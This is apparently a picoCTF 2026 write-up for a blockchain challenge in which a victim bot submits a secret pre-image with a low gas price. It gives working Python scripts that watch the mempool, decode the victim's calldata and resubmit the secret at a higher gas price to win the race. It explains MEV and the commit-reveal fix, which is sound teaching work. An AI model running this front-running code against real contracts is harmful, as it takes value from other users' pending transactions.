Front_Running picoCTF 2026 Solution

Published: March 20, 2026

Description

A mysterious vault has been discovered on the blockchain. It's programmed to release a secret flag to anyone who can provide the correct pre-image to a specific hash. A Victim Bot has found the answer and is trying to submit it, but they are being very stingy with their gas price. Contract: here

Download and read FrontRunning.sol.

Confirm the contract has a getFlag() (or equivalent) function before scripting:

Set up a Foundry or web3.py environment.

bash
cat FrontRunning.sol
bash
grep -E 'function getFlag|public.*flag|function unlock' FrontRunning.sol

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Monitor the mempool for the victim's transaction
    Observation
    I noticed the challenge description says the Victim Bot is submitting the correct pre-image but with a very low gas price, which meant the transaction would sit in the public mempool long enough to be observed and decoded before it was mined.
    Compute the function selector locally, watch pending txs for that selector hitting the contract, and ABI-decode the string argument out of the calldata.
    python
    python3 << 'EOF'
    from web3 import Web3
    from eth_utils import keccak
    from eth_abi import decode as abi_decode
    
    w3 = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>"))
    CONTRACT_ADDR = "<CONTRACT_ADDRESS>"
    
    # Compute the selector yourself - don't hard-code:
    UNLOCK_SELECTOR = keccak(b"unlock(string)")[:4].hex()  # 'aabbccdd'
    print("unlock(string) selector:", UNLOCK_SELECTOR)
    
    pending_filter = w3.eth.filter("pending")
    while True:
        for tx_hash in pending_filter.get_new_entries():
            tx = w3.eth.get_transaction(tx_hash)
            if not tx or not tx["to"] or tx["to"].lower() != CONTRACT_ADDR.lower():
                continue
            calldata = tx["input"].hex().lstrip("0x")
            if not calldata.startswith(UNLOCK_SELECTOR):
                continue
            # Drop the 4-byte selector and ABI-decode the remaining args
            (pre_image,) = abi_decode(["string"], bytes.fromhex(calldata[8:]))
            print("Victim pre-image:", pre_image, "gasPrice:", tx["gasPrice"])
            break
    EOF
    What didn't work first

    Tried: Using w3.eth.get_block('pending') to find the victim transaction instead of a pending filter

    get_block('pending') returns a snapshot of pending transactions at a single moment and may miss the victim's tx entirely if it has not yet propagated to the connected node. A filter via w3.eth.filter('pending') streams hashes as they arrive, so you see every new entry in real time. The snapshot approach also cannot be polled fast enough in Python to reliably catch a transaction before it is mined.

    Tried: Hardcoding the 4-byte selector as a fixed hex string copied from an online Keccak tool

    If the victim contract's function signature differs even slightly from the one you hashed (for example 'Unlock(string)' with a capital U, or extra whitespace), the hardcoded selector will not match any calldata and the filter loop runs forever without printing anything. Computing the selector with keccak(b'unlock(string)')[:4] locally ensures it matches the exact ABI in the downloaded Solidity source.

    Learn more

    The Ethereum mempool (memory pool) is a waiting area for transactions that have been broadcast to the network but not yet included in a block. Because Ethereum is a public peer-to-peer network, every pending transaction is visible to every node, including its entire calldata (the function arguments being sent to the smart contract). This transparency is by design for a decentralised system, but it creates a privacy and fairness problem.

    A function selector is the first 4 bytes of a transaction's calldata: the Keccak-256 hash of the function's signature truncated to 4 bytes. For unlock(string) the selector is keccak256("unlock(string)")[:4]. By filtering pending transactions that call your contract and match this selector, you can identify the victim's transaction and ABI-decode the string argument (the pre-image) from the remaining calldata bytes.

    In real Ethereum, professional MEV (Maximal Extractable Value) searchers run highly optimised mempool monitoring bots that detect profitable opportunities (arbitrage, liquidations, sandwich attacks) within milliseconds of a transaction appearing. The ecosystem around MEV includes specialised relay networks like Flashbots which allow searchers to submit bundles directly to block builders without broadcasting them publicly, partially mitigating mempool-based attacks.

  2. Step 2
    Front-run with a higher gas price
    Observation
    I noticed the Victim Bot deliberately used a stingy gas price, which meant block builders would deprioritize their transaction and leave a window to submit the same pre-image with a higher gas price to be mined first.
    Submit the same pre-image with a strictly higher gas price than the victim. Use a minimal ABI fragment for the unlock function so you don't need the full Solidity build artifacts.
    python
    python3 << 'EOF'
    from web3 import Web3
    from eth_account import Account
    
    w3   = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>"))
    acct = Account.from_key("YOUR_PRIVATE_KEY")
    CONTRACT_ADDR = "<CONTRACT_ADDRESS>"
    pre_image = "EXTRACTED_PREIMAGE"
    victim_gas_price = w3.to_wei(1, "gwei")  # whatever the mempool tx had
    
    # Minimal ABI fragment - just the function we want to call.
    ABI = [{
        "type": "function",
        "name": "unlock",
        "stateMutability": "nonpayable",
        "inputs": [{"name": "preImage", "type": "string"}],
        "outputs": [],
    }]
    contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)
    
    tx = contract.functions.unlock(pre_image).build_transaction({
        "from": acct.address,
        "gas": 200_000,
        "gasPrice": victim_gas_price * 2,  # comfortably higher than victim
        "nonce": w3.eth.get_transaction_count(acct.address),
    })
    signed = acct.sign_transaction(tx)
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    print("front-run tx:", tx_hash.hex())
    EOF
    What didn't work first

    Tried: Sending the front-run transaction with the same gas price as the victim instead of a strictly higher one

    When two transactions have identical gas prices, the block builder's ordering is implementation-defined and typically favors whichever arrived first. Because the victim broadcast their transaction before you did, at equal gas price your transaction will almost always land after theirs, meaning the victim unlocks the contract first and getFlag() returns nothing useful for you. Setting gasPrice to victim_gas_price * 2 (or any value strictly above the victim's) guarantees your transaction sorts ahead of theirs.

    Tried: Calling contract.functions.unlock(pre_image).transact() instead of build_transaction / sign / send_raw_transaction

    transact() is a convenience helper that works only when web3.py has an unlocked account configured on the node (via an injected provider or a local test node). Against the picoCTF remote RPC you only have a raw private key, so there is no unlocked account and transact() raises ValueError: no accounts available. You must build the transaction dict, sign it with Account.sign_transaction, and send the raw bytes with send_raw_transaction.

    Learn more

    Front-running is the act of inserting your transaction ahead of a known pending transaction by paying a higher gas price. Ethereum miners (and now validators under Proof-of-Stake) are free to order transactions within a block however they choose; the dominant strategy is to order by gas price descending (highest gas price first) because they earn the gas fees. Paying more gas guarantees your transaction is processed before the victim's lower-gas transaction.

    This is a critical vulnerability in any smart contract that gates access to a secret via a hash pre-image commitment scheme. The contract hashes the submitted string and compares to a stored hash, so anyone who knows the correct string can call it. But because Ethereum is public, the correct string is exposed in the mempool before the block is mined. The contract design is fundamentally broken for secrets: you cannot use Ethereum as a secret-sharing channel without cryptographic commitments or commit-reveal schemes.

    The correct fix is a commit-reveal scheme: in the commit phase, participants submit keccak256(secret || salt || sender_address)(a hash that binds the secret to the sender without revealing it). In the reveal phase (a later block), they submit the actual secret, and the contract verifies the pre-committed hash. Front-runners cannot exploit the reveal because the hash binds the secret to the original sender's address.

  3. Step 3
    Read the flag
    Observation
    I noticed the contract exposes a getFlag() function and, after confirming our front-run transaction was mined first, a simple read-only cast call would retrieve the flag without spending additional gas.
    After your transaction is mined before the victim's, call the contract's getFlag() function to retrieve the flag.
    bash
    cast call CONTRACT_ADDR 'getFlag()(string)' --rpc-url http://HOST:PORT

    Expected output

    picoCTF{fr0nt_runn1ng_...}
    Learn more

    cast is part of Foundry, the modern Solidity development toolkit. cast call makes a read-only (view) call to a smart contract function: it does not send a transaction or consume gas, and it returns the function's return value. The function signature string 'getFlag()(string)' tells cast both the input type (none) and output type (string) so it can ABI-encode the call and decode the result. Confirm the function actually exists in the source first (grep -E 'function getFlag|public.*flag' FrontRunning.sol) - some challenges name it flag() or store the flag in a public state variable instead, in which case the auto-generated getter has the same name.

    Front-running and other MEV attacks extracted over $1 billion of value from Ethereum users in the years following the DeFi boom. The broader MEV problem (which includes sandwich attacks, back-running, and time-bandit attacks) has driven significant research into solutions including private mempools, fair ordering protocols (like Chainlink's Fair Sequencing Services), and cryptographic techniques (threshold encryption of transaction contents until they are sequenced).

    This challenge is a clean, minimal demonstration of why public blockchains cannot be used as secret-communication channels without additional cryptography. Any value or secret you send in a transaction's calldata is visible to the entire world before it is confirmed. See Smart Contract CTF Bugs for the full taxonomy of EVM-level vulnerabilities.

Flag

Reveal flag

picoCTF{fr0nt_runn1ng_...}

Monitor the mempool for the victim's low-gas transaction, extract the pre-image, and resubmit with higher gas to get mined first.

Key takeaway

Ethereum's mempool is fully public: every pending transaction, including its arguments, is visible to all nodes before a block is mined. Any smart contract that accepts a secret value as a plain function argument is exploitable because an observer can copy the secret and resubmit it with a higher gas price to be included first. The defense is a commit-reveal scheme, where a binding hash of the secret is committed in one block and the secret itself is only revealed in a later block, preventing observers from racing the original submitter.

Related reading

Want more picoCTF 2026 writeups?

Useful tools for Blockchain

What to try next